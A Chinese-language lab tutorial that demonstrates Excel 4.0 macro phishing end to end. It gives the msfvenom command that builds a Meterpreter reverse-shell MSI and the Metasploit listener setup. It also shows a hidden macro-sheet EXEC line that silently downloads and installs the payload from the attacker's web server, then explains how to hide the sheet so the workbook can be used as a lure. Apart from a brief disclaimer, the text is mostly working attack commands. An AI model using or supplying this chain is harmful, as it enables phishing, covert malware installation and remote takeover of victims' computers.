Excel宏钓鱼
技术概述
Excel宏钓鱼是一种利用Office宏功能执行恶意代码的攻击手段。攻击者通过诱导用户启用宏(通常伪装成重要文档),触发恶意VBA代码从远程服务器下载并执行载荷。本实验演示了使用MSI静默安装包配合Meterpreter反向连接的完整攻击链,具有以下技术特征:
- 利用Excel 4.0宏表(XLM)实现代码执行,相比传统VBA宏更隐蔽
- 使用
msiexec
静默安装技术实现无感载荷部署 - 通过HTTP服务器分发恶意载荷,规避传统文件传输检测
- 建立Meterpreter反向TCP连接获取控制权限
注:本实验仅用于教育目的,实际实施可能违反相关法律法规
实验环境:
- Windows 10 (192.168.88.129)
- Kali 2018 (192.168.88.128)
- Excel 2016
实验步骤
攻击端配置(Kali):
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.128 lport=4444 -f msi -o hack.msi # 生成Windows载荷(MSI格式)
# 启动Metasploit监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.88.128
exploit
# 启动Apache服务托管恶意文件
apache2 -k start
systemctl start apache2
目标端操作(Windows)
打开Excel,创建宏表
输入Excel 4.0宏表特殊函数
=EXEC("msiexec /q /i http://192.168.88.128/hack.msi")
=HALT() # 终止宏执行防止异常提示
# 静默安装参数:/q - 无界面模式 /i - 安装指令
最后隐藏该宏表并以“启用宏的工作簿”保存
再次打开该工作簿,可以看到目标主机已上线,钓鱼成功!
攻击流程图
补充说明
该攻击方式的成功率主要依赖:
- 目标系统未安装MSI安装器补丁(KB971187)
- Excel安全设置未禁用XLM宏
- 防火墙未阻止反向TCP连接
- 用户手动允许宏执行(社会工程)